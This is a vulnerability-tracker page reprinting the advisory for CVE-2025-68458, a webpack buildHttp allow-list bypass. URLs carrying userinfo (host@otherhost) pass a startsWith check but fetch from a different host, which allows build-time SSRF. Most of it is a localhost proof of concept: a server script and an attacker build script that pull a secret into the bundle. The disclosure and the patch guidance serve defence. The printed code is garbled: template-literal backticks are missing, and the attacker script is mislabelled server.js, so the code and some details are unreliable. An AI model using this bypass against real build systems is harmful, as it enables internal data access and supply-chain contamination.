CVE-2025-68458: webpack buildHttp: allowedUris allow-list bypass via URL userinfo (@) leading to build-time SSRF behavior

Published Feb 5, 2026
·
Updated

Summary When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). In my reproduction, the internal response was also persisted in the buildHttp cache.

Reproduced on: - webpack version: 5.104.0 - Node version: v18.19.1

Details Root cause (high level): allowedUris validation can be performed on the raw URI string, while the actual request destination is determined later by parsing the URL (e.g., new URL(uri)), which interprets the authority as the part after @.

Example crafted URL: - http://127.0.0.1:9000@127.0.0.1:9100/secret.js

If the allow-list is ["http://127.0.0.1:9000"], then: - Raw string check: crafted.startsWith("http://127.0.0.1:9000") → true - URL parsing (WHAT new URL() will contact): origin → http://127.0.0.1:9100 (host/port after @)

As a result, webpack fetches http://127.0.0.1:9100/secret.js even though allowedUris only included http://127.0.0.1:9000.

Evidence from reproduction: - Server logs showed the internal-only endpoint being fetched: - [internal] 200 /secret.js served (...) (observed multiple times) - Attacker-side build output showed: - the internal secret marker was present in the bundle - the internal secret marker was present in the buildHttp cache

<img width="1651" height="381" alt="image-2" src="https://github.com/user-attachments/assets/8fd81b35-0d4f-424b-b60e-0a2582a8b492" />

PoC This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup bash mkdir split-userinfo-poc && cd split-userinfo-poc npm init -y npm i -D webpack webpack-cli

2) Create server.js js #!/usr/bin/env node "use strict";

const http = require("http");

const ALLOWEDPORT = 9000; // allowlisted-looking host const INTERNALPORT = 9100; // actual target if bypass succeeds

const secret = INTERNALONLYSECRET${Math.random().toString(16).slice(2)}; const internalPayload = // internal-only\n + export const secret = ${JSON.stringify(secret)};\n + export default "ok";\n;

function listen(port, handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(port, "127.0.0.1", () => resolve(s)); }); }

(async () => { // "Allowed" host (should NOT be contacted if bypass works as intended) await listen(ALLOWEDPORT, (req, res) => { console.log([allowed-host] ${req.method} ${req.url} (should NOT be hit in userinfo bypass)); res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(export default "ALLOWEDHOSTWASHITUNEXPECTEDLY";\n); });

// Internal-only service (SSRF-like target) await listen(INTERNALPORT, (req, res) => { if (req.url === "/secret.js") { console.log([internal] 200 /secret.js served (secret=${secret})); res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(internalPayload); return; } console.log([internal] 404 ${req.method} ${req.url}); res.statusCode = 404; res.end("not found"); });

console.log("\nServers up:"); console.log(- allowed-host (should NOT be contacted): http://127.0.0.1:${ALLOWEDPORT}/); console.log(- internal target (should be contacted if vulnerable): http://127.0.0.1:${INTERNALPORT}/secret.js); })();

2) Create server.js js #!/usr/bin/env node "use strict";

const path = require("path"); const os = require("os"); const fs = require("fs/promises"); const webpack = require("webpack");

function fmtBool(b) { return b ? "✅" : "❌"; }

async function walk(dir) { const out = []; let items; try { items = await fs.readdir(dir, { withFileTypes: true }); } catch { return out; } for (const it of items) { const p = path.join(dir, it.name); if (it.isDirectory()) out.push(...await walk(p)); else if (it.isFile()) out.push(p); } return out; }

async function fileContains(f, needle) { try { const buf = await fs.readFile(f); const s1 = buf.toString("utf8"); if (s1.includes(needle)) return true; const s2 = buf.toString("latin1"); return s2.includes(needle); } catch { return false; } }

(async () => { const webpackVersion = require("webpack/package.json").version;

const ALLOWEDPORT = 9000; const INTERNALPORT = 9100;

// NOTE: allowlist is intentionally specified without a trailing slash // to demonstrate the risk of raw string prefix checks. const allowedUri = http://127.0.0.1:${ALLOWEDPORT};

// Crafted URL using userinfo so that: // - The string begins with allowedUri // - The actual authority (host:port) after '@' is INTERNALPORT const crafted = http://127.0.0.1:${ALLOWEDPORT}@127.0.0.1:${INTERNALPORT}/secret.js; const parsed = new URL(crafted);

const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-httpuri-userinfo-poc-")); const srcDir = path.join(tmp, "src"); const distDir = path.join(tmp, "dist"); const cacheDir = path.join(tmp, ".buildHttp-cache"); const lockfile = path.join(tmp, "webpack.lock"); const bundlePath = path.join(distDir, "bundle.js");

await fs.mkdir(srcDir, { recursive: true }); await fs.mkdir(distDir, { recursive: true });

await fs.writeFile( path.join(srcDir, "index.js"), import { secret } from ${JSON.stringify(crafted)}; console.log("LEAKEDSECRET:", secret); export default secret; );

const config = { context: tmp, mode: "development", entry: "./src/index.js", output: { path: distDir, filename: "bundle.js" }, experiments: { buildHttp: { allowedUris: [allowedUri], cacheLocation: cacheDir, lockfileLocation: lockfile, upgrade: true } } };

console.log("\n[ENV]"); console.log(- webpack version: ${webpackVersion}); console.log(- node version: ${process.version}); console.log(- allowedUris: ${JSON.stringify([allowedUri])});

console.log("\n[CRAFTED URL]"); console.log(- import specifier: ${crafted}); console.log(- WHAT startsWith() sees: begins with "${allowedUri}" => ${fmtBool(crafted.startsWith(allowedUri))}); console.log(- WHAT URL() parses:); console.log( - username: ${JSON.stringify(parsed.username)} (userinfo)); console.log( - password: ${JSON.stringify(parsed.password)} (userinfo)); console.log( - hostname: ${parsed.hostname}); console.log( - port: ${parsed.port}); console.log( - origin: ${parsed.origin}); console.log( - NOTE: request goes to origin above (host/port after @), not to "${allowedUri}");

const compiler = webpack(config);

compiler.run(async (err, stats) => { try { if (err) throw err; const info = stats.toJson({ all: false, errors: true, warnings: true });

if (stats.hasErrors()) { console.error("\n[WEBPACK ERRORS]"); console.error(info.errors); process.exitCode = 1; return; }

const bundle = await fs.readFile(bundlePath, "utf8"); const m = bundle.match(/INTERNALONLYSECRET[0-9a-f]+/i); const foundSecret = m ? m[0] : null;

console.log("\n[RESULT]"); console.log(- temp dir: ${tmp}); console.log(- bundle: ${bundlePath}); console.log(- lockfile: ${lockfile}); console.log(- cacheDir: ${cacheDir});

console.log("\n[SECURITY CHECK]"); console.log(- bundle contains INTERNALONLYSECRET : ${fmtBool(!!foundSecret)});

if (foundSecret) { const lockHit = await fileContains(lockfile, foundSecret);

const cacheFiles = await walk(cacheDir); let cacheHit = false; for (const f of cacheFiles) { if (await fileContains(f, foundSecret)) { cacheHit = true; break; } }

console.log(- lockfile contains secret: ${fmtBool(lockHit)}); console.log(- cache contains secret: ${fmtBool(cacheHit)}); } } catch (e) { console.error(e); process.exitCode = 1; } finally { compiler.close(() => {}); } }); })();

4) Run Terminal A: bash node server.js

Terminal B: bash node attacker.js

5) Expected vs Actual

Expected: The import should be blocked because the effective request destination is http://127.0.0.1:9100/secret.js, which is outside allowedUris (only http://127.0.0.1:9000 is allow-listed).

Actual: The crafted URL passes the allow-list prefix validation, webpack fetches the internal-only resource on port 9100 (confirmed by server logs), and the secret marker appears in the bundle and buildHttp cache.

Impact

Vulnerability class: Policy/allow-list bypass leading to build-time SSRF behavior and untrusted content inclusion in build outputs.

Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary. If an attacker can influence the imported HTTP(S) specifier (e.g., via source contribution, dependency manipulation, or configuration), they can cause outbound requests from the build environment to endpoints outside the allow-list (including internal-only services, subject to network reachability). The fetched response can be treated as module source and included in build outputs and persisted in the buildHttp cache, increasing the risk of leakage or supply-chain contamination.

Other sources

Webpack is a module bundler. From version 5.49.0 to before 5.104.1, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). This issue has been patched in version 5.104.1.

MITRE

Affected Software

3 affected componentsFixes available
npm/webpack>=5.49.0<=5.104.0
5.104.1
webpack.js Webpack Node.js>=5.49.0<5.104.1
IBM Aspera Faspex 5<=5.0.0 - 5.0.14.3

Event History

Feb 5, 2026
Advisory Published
via GitHub·06:38 PM
Data Sourced
via GitHub·06:38 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·11:08 PM
Data Sourced
via MITRE·11:08 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
Affected Software
Mar 6, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-68458?

CVE-2025-68458 has been classified as a high-severity vulnerability due to its potential to allow unauthorized resource access.

2

How do I fix CVE-2025-68458?

To mitigate CVE-2025-68458, ensure you update to webpack version 5.104.1 or higher.

3

What is affected by CVE-2025-68458?

CVE-2025-68458 affects webpack versions from 5.49.0 to 5.104.0 when experiments.buildHttp is enabled.

4

What can attackers do with CVE-2025-68458?

Attackers can exploit CVE-2025-68458 to bypass the allowedUris restriction and fetch resources from unauthorized hosts.

5

What is the context of CVE-2025-68458?

CVE-2025-68458 involves a bypass in webpack's HTTP(S) resolver that allows crafted URLs to access restricted resources.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203